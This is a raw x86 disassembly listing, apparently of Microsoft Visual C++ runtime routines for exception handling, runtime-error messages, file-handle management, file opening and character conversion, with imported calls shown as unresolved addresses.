loc_423C62: ; CODE XREF: ___:00423C56j push eax call near ptr 2620000h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi nop call near ptr 2610755h test eax, eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: ___:00423C6Ej ; ___:00423C79j or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: ___:00423C85j cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C98: ; CODE XREF: ___:00423C49j or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: ___:00423C8Bj ; ___:00423C90j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD160 nop call near ptr 26202B9h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao ; sub_422A2C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p mov eax, dword_4DBE4C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE54, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFB8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_423D98+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4E8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D578 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4E8[esi] jnz loc_423F21 mov eax, dword_4DBE4C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE54, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2670000h test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4EC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4EC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2620000h push eax call near ptr 27007FFh nop loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD060 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD160 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD160, 20h lea ecx, ds:4DD060h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD160 push edi jnb short loc_424019 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD060h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE54, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj nop call near ptr 261052Ah loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDF0, 0 mov dword_4DBDEC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD160 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD060h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE54, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej call near ptr 261052Ah nop loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDF0, 0 mov dword_4DBDEC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD160 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD060[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDF0, 0 mov dword_4DBDEC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD160 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD060[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax call near ptr 2610000h nop test eax, eax jnz short loc_424125 nop call near ptr 26808B7h jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDF0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDEC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: ___:00429020o mov eax, dword_4DD040 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD040, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC02C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD040, esi call sub_4250B2 pop ecx mov dword_4DC02C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D578 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC02C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7F8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D588 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD060[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5E8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: ___:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE2C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFBC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DC008, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDEC, 16h mov dword_4DBDF0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDF4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDF0, 0 mov dword_4DBDEC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27106E5h mov esi, eax cmp esi, edi jz short loc_424405 push esi call near ptr 2610755h nop test eax, eax jnz short loc_424419 push esi call near ptr 2660830h nop loc_424405: ; CODE XREF: sub_42423B+1B6j nop call near ptr 26808B7h push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD060h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDF0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFC4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi call near ptr 2600000h nop test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB89C push esi push ebx nop call near ptr 26007BEh test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFC4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE94 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 26007BEh jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBEA4 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 26F0000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 26F0000h nop cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2600000h jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD160 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD060[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE94, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D094 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBEA4 call near ptr 2830000h nop test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDEC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE94, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE88 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42476C mov eax, dword_43D094 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx 